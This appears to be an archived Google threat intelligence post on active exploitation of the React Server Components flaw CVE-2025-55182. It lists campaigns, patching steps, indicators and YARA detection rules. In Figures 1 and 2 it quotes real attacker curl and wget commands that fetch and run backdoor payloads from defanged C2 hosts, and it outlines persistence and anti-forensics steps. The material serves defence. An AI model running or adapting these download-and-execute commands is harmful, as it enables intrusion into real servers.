Multiple Threat Actors Exploit React2Shell (CVE-2025-55182)

By Google Threat Intelligence Group

Published: 2025-12-12 · Archived: 2026-04-05 13:04:35 UTC

Written by: Aragorn Tseng, Robert Weiner, Casey Charrier, Zander Work, Genevieve Stark, Austin Larsen

---

Introduction

On Dec. 3, 2025, a critical unauthenticated remote code execution (RCE) vulnerability in React Server Components, tracked as CVE-2025-55182 (aka "React2Shell"), was publicly disclosed. Shortly after disclosure, Google Threat Intelligence Group (GTIG) had begun observing widespread exploitation across many threat clusters, ranging from opportunistic cyber crime actors to suspected espionage groups.

GTIG has identified distinct campaigns leveraging this vulnerability to deploy a MINOCAT tunneler, SNOWLIGHT downloader, HISONIC backdoor, and COMPOOD backdoor, as well as XMRIG cryptocurrency miners, some of which overlaps with activity previously reported by Huntress. These observed campaigns highlight the risk posed to organizations using unpatched versions of React and Next.js. This post details the observed exploitation chains and post-compromise behaviors and provides intelligence to assist defenders in identifying and remediating this threat.

For information on how Google is protecting customers and mitigation guidance, please refer to our companion blog post, Responding to CVE-2025-55182: Secure your React and Next.js workloads.

CVE-2025-55182 Overview

CVE-2025-55182 is an unauthenticated RCE vulnerability in React Server Components with a CVSS v3.x score of 10.0 and a CVSS v4 score of 9.3. The flaw allows unauthenticated attackers to send a single HTTP request that executes arbitrary code with the privileges of the user running the affected web server process.

GTIG considers CVE-2025-55182 to be a critical-risk vulnerability. Due to the use of React Server Components (RSC) in popular frameworks like Next.js, there are a significant number of exposed systems vulnerable to this issue. Exploitation potential is further increased by two factors: 1) there are a variety of valid payload formats and techniques, and 2) the mere presence of vulnerable packages on systems is often enough to permit exploitation.

The specific RSC packages that are vulnerable to CVE-2025-55182 are versions 19.0, 19.1.0, 19.1.1, and 19.2.0 of:

- react-server-dom-webpack
- react-server-dom-parcel
- react-server-dom-turbopack

A large number of non-functional exploits, and consequently false information regarding viable payloads and exploitation logic, were widely distributed about this vulnerability during the initial days after disclosure. An

example of a repository that started out wholly non-functional is this repository published by the GitHub user "`ejpir`", which, while initially claiming to be a legitimate functional exploit, has now updated their README to appropriately label their initial research claims as AI-generated and non-functional. While this repository still contains non-functional exploit code, it also now contains legitimate exploit code with Unicode obfuscation. While instances like this initially caused confusion across the industry, the number of legitimate exploits and their capabilities have massively expanded, including in-memory Next.js web shell deployment capabilities. There are also exploit samples, some entirely fake, some non-functional, and some with legitimate functionality, containing malware targeting security researchers. Researchers should validate all exploit code before trusting its capabilities or legitimacy.

Technical write-ups about this vulnerability have been published by reputable security firms, such as the one from Wiz. Researchers should refer to such trusted publications for up-to-date and accurate information when validating vulnerability details, exploit code, or published detections.

Additionally, there was a separate CVE issued for Next.js (CVE-2025-66478); however, this CVE has since been marked as a duplicate of CVE-2025-55182.

Observed Exploitation Activity

Since exploitation of CVE-2025-55182 began, GTIG has observed diverse payloads and post-exploitation behaviors across multiple regions and industries. In this blog post we focus on China-nexus espionage and financially motivated activity, but we have additionally observed Iran-nexus actors exploiting CVE-2025-55182.

China-Nexus Activity

As of Dec. 12, GTIG has identified multiple China-nexus threat clusters utilizing CVE-2025-55182 to compromise victim networks globally. Amazon Web Services (AWS) reporting indicates that China-nexus threat groups Earth Lamia and Jackpot Panda are also exploiting this vulnerability. GTIG tracks Earth Lamia as UNC5454. Currently, there are no public indicators available to assess a group relationship for Jackpot Panda.

MINOCAT

GTIG observed China-nexus espionage cluster UNC6600 exploiting the vulnerability to deliver the MINOCAT tunneler. The threat actor retrieved and executed a bash script used to create a hidden directory (`$HOME/.systemd-utils`), kill any processes named "`ntpclient`", download a MINOCAT binary, and establish persistence by creating a new cron job and a systemd service and by inserting malicious commands into the current user's shell config to execute MINOCAT whenever a new shell is started. MINOCAT is an 64-bit ELF executable for Linux that includes a custom "NSS" wrapper and an embedded, open-source Fast Reverse Proxy (FRP) client that handles the actual tunneling.

SNOWLIGHT

In separate incidents, suspected China-nexus threat actor UNC6586 exploited the vulnerability to execute a command using `cURL` or `wget` to retrieve a script that then downloaded and executed a SNOWLIGHT downloader payload (7f05bad031d22c2bb4352bf0b6b9ee2ca064a4c0e11a317e6fedc694de37737a). SNOWLIGHT

is a component of VSHELL, a publicly available multi-platform backdoor written in Go, which has been used by threat actors of varying motivations. GTIG observed SNOWLIGHT making HTTP GET requests to C2 infrastructure (e.g., `reactcdn.windowserrorapis[.]com`) to retrieve additional payloads masquerading as legitimate files.

```
curl -fsSL -m180 reactcdn.windowserrorapis[.]com:443/?h=reactcdn.windowserrorapis[.]com&p=443&t=tcp&a=l64&stage=t
```

Figure 1: `cURL` command executed to fetch SNOWLIGHT payload

COMPOOD

GTIG also observed multiple incidents in which threat actor UNC6588 exploited CVE-2025-55182, then ran a script that used `wget` to download a COMPOOD backdoor payload. The script then executed the COMPOOD sample, which masqueraded as Vim. GTIG did not observe any significant follow-on activity, and this threat actor's motivations are currently unknown.

```
 wget http://45.76.155[.]14/vim -O /tmp/vim
/tmp/vim "/usr/lib/polkit-1/polkitd --no-debug"
```

Figure 2: COMPOOD downloaded via wget and executed

COMPOOD has historically been linked to suspected China-nexus espionage activity. In 2022, GTIG observed COMPOOD in incidents involving a suspected China-nexus espionage actor, and we also observed samples uploaded to VirusTotal from Taiwan, Vietnam, and China.

HISONIC

Another China-nexus actor, UNC6603, deployed an updated version of the HISONIC backdoor. HISONIC is a Go-based implant that utilizes legitimate cloud services, such as Cloudflare Pages and GitLab, to retrieve its encrypted configuration. This technique allows the actor to blend malicious traffic with legitimate network activity. In this instance, the actor embedded an XOR-encoded configuration for the HISONIC backdoor delimited between two markers, "`115e1fc47977812`" to denote the start of the configuration and "`725166234cf88gxx`" to mark the end. Telemetry indicates this actor is targeting cloud infrastructure, specifically AWS and Alibaba Cloud instances, within the Asia Pacific (APAC) region.

```
<version>115e1fc47977812.....REDACTED.....725166234cf88gxx</version>
```

Figure 3: HISONIC markers denoting configuration

ANGRYREBEL.LINUX

Finally, we also observed a China-nexus actor, UNC6595, exploiting the vulnerability to deploy ANGRYREBEL.LINUX. The threat actor uses an installation script (b.sh) that attempts to evade detection by masquerading the malware as the legitimate OpenSSH daemon (`sshd`) within the `/etc/` directory, rather than its

standard location. The actor also employs timestomping to alter file timestamps and executes anti-forensics commands, such as clearing the shell history (`history -c`). Telemetry indicates this cluster is primarily targeting infrastructure hosted on international Virtual Private Servers (VPS).

Financially Motivated Activity

Threat actors that monetize access via cryptomining are often among the first to exploit newly disclosed vulnerabilities. GTIG observed multiple incidents, starting on Dec. 5, in which threat actors exploited CVE-2025-55182 and deployed XMRig for illicit cryptocurrency mining. In one observed chain, the actor downloaded a shell script named "sex.sh," which downloads and executes the XMRIG cryptocurrency miner from GitHub. The script also attempts to establish persistence for the miner via a new systemd service called "system-update-service."

GTIG has also observed numerous discussions regarding CVE-2025-55182 in underground forums, including threads in which threat actors have shared links to scanning tools, proof-of-concept (PoC) code, and their experiences using these tools.

Outlook and Implications

After the disclosure of high-visibility, critical vulnerabilities, it is common for affected products to undergo a period of increased scrutiny, resulting in a swift but temporary increase in the number of vulnerabilities discovered. Since the disclosure of CVE-2025-55182, three additional React vulnerabilities have been disclosed: CVE-2025-55183, CVE-2025-55184, and CVE-2025-67779. In this case, two of these follow-on vulnerabilities have relatively limited impacts (restricted information disclosure and causing a denial-of-service (DoS) condition). The third vulnerability (CVE-2025-67779) also causes a DoS condition, as it arose due to an incomplete patch for CVE-2025-55184.

Recommendations

Organizations utilizing React or Next.js should take the following actions immediately:

1. **Patch Immediately:**
    1. To prevent remote code execution due to CVE-2025-55182, patch vulnerable React Server Components to at least 19.0.1, 19.1.2, or 19.2.1, depending on your vulnerable version. Patching to 19.2.2 or 19.2.3 will also prevent the potential for remote code execution.
    2. To prevent the information disclosure impacts due to CVE-2025-55183, patch vulnerable React Server Components to at least 19.2.2.
    3. To prevent DoS impacts due to CVE-2025-55184 and CVE-2025-67779, patch vulnerable React Server Components to 19.2.3. The 19.2.2 patch was found to be insufficient in preventing DoS impacts.
2. **Deploy WAF Rules:** Google has rolled out a Cloud Armor web application firewall (WAF) rule designed to detect and block exploitation attempts related to this vulnerability. We recommend deploying this rule as a temporary mitigation while your vulnerability management program patches and verifies all vulnerable instances.

3. **Audit Dependencies:** Determine if vulnerable React Server Components are included as a dependency in other applications within your environment.
4. **Monitor Network Traffic:** Review logs for outbound connections to the indicators of compromise (IOCs) listed below, particularly `wget` or `cURL` commands initiated by web server processes.
5. **Hunt for Compromise:** Look for the creation of hidden directories like $HOME/.systemd-utils, the unauthorized termination of processes such as ntpclient, and the injection of malicious execution logic into shell configuration files like $HOME/.bashrc.

Indicators of Compromise (IOCs)

To assist defenders in hunting for this activity, we have included IOCs for the threats described in this blog post. A broader subset of related indicators is available in a Google Threat Intelligence Collection of IOCs available for registered users.

Indicator	Type	Description
`reactcdn.windowserrorapis[.]com`	Domain	**SNOWLIGHT** C2 and Staging Server
`82.163.22[.]139`	IP Address	**SNOWLIGHT** C2 Server
`216.158.232[.]43`	IP Address	Staging server for sex.sh script
`45.76.155[.]14`	IP Address	**COMPOOD** C2 and Payload Staging Server
`df3f20a961d29eed46636783b71589c183675510737c984a11f78932b177b540`	SHA256	**HISONIC** sample
`92064e210b23cf5b94585d3722bf53373d54fb4114dca25c34e010d0c010edf3`	SHA256	**HISONIC** sample
`0bc65a55a84d1b2e2a320d2b011186a14f9074d6d28ff9120cb24fcc03c3f696`	SHA256	**ANGRYREBEL.LINUX** sample

`13675cca4674a8f9a8fabe4f9df4ae0ae9ef11986dd1dcc6a896912c7d527274`	SHA256	**XMRIG** Downloader Script (filename: sex.sh)
`7f05bad031d22c2bb4352bf0b6b9ee2ca064a4c0e11a317e6fedc694de37737a`	SHA256	**SNOWLIGHT** sample (filename: linux_amd64)
`776850a1e6d6915e9bf35aa83554616129acd94e3a3f6673bd6ddaec530f4273`	SHA256	**MINOCAT** sample

YARA Rules

MINOCAT

```
rule G_APT_Tunneler_MINOCAT_1 {
        meta:
                author = "Google Threat Intelligence Group (GTIG)"
                date_modified = "2025-12-10"
                rev = "1"
                md5 = "533585eb6a8a4aad2ad09bbf272eb45b"
        strings:
                $magic = { 7F 45 4C 46 }
                $decrypt_func = { 48 85 F6 0F 94 C1 48 85 D2 0F 94 C0 08 C1 0F 85 }
                $xor_func = { 4D 85 C0 53 49 89 D2 74 57 41 8B 18 48 85 FF 74 }
                $frp_str1 = "libxf-2.9.644/main.c"
                $frp_str2 = "xfrp login response: run_id: [%s], version: [%s]"
                $frp_str3 = "cannot found run ID, it should inited when login!"
                $frp_str4 = "new work connection request run_id marshal failed!"
                $telnet_str1 = "Starting telnetd on port %d\n"
                $telnet_str2 = "No login shell found at %s\n"
                $key = "bigeelaminoacow"
        condition:
                $magic at 0 and (1 of ($decrypt_func, $xor_func)) and (2 of ($frp_str*)) and (1 of ($telnet_str*
}
```

COMPOOD

```
rule G_Backdoor_COMPOOD_1 {
        meta:
                author = "Google Threat Intelligence Group (GTIG)"
                date_modified = "2025-12-11"
                rev = “1”
```

```
            md5 = “d3e7b234cf76286c425d987818da3304”
        strings:
                $strings_1 = "ShellLinux.Shell"
                $strings_2 = "ShellLinux.Exec_shell"
                $strings_3 = "ProcessLinux.sendBody"
                $strings_4 = "ProcessLinux.ProcessTask"
                $strings_5 = "socket5Quick.StopProxy"
                $strings_6 = "httpAndTcp"
                $strings_7 = "clean.readFile"
                $strings_8 = "/sys/kernel/mm/transparent_hugepage/hpage_pmd_size"
                $strings_9 = "/proc/self/auxv"
                $strings_10 = "/dev/urandom"
                $strings_11 = "client finished"
                $strings_12 = "github.com/creack/pty.Start"
        condition:
                uint32(0) == 0x464C457f and 8 of ($strings_*)
}
```

SNOWLIGHT

```
 rule G_Hunting_Downloader_SNOWLIGHT_1 {
        meta:
                author = "Google Threat Intelligence Group (GTIG)"
                date_created = "2025-03-25"
                date_modified = "2025-03-25"
                md5 = "3a7b89429f768fdd799ca40052205dd4"
                rev = 1
        strings:
                $str1 = "rm -rf $v"
                $str2 = "&t=tcp&a="
                $str3 = "&stage=true"
                $str4 = "export PATH=$PATH:$(pwd)"
                $str5 = "curl"
                $str6 = "wget"
                $str7 = "python -c 'import urllib"
        condition:
                all of them and filesize < 5KB
}
```

Posted in

- Threat Intelligence
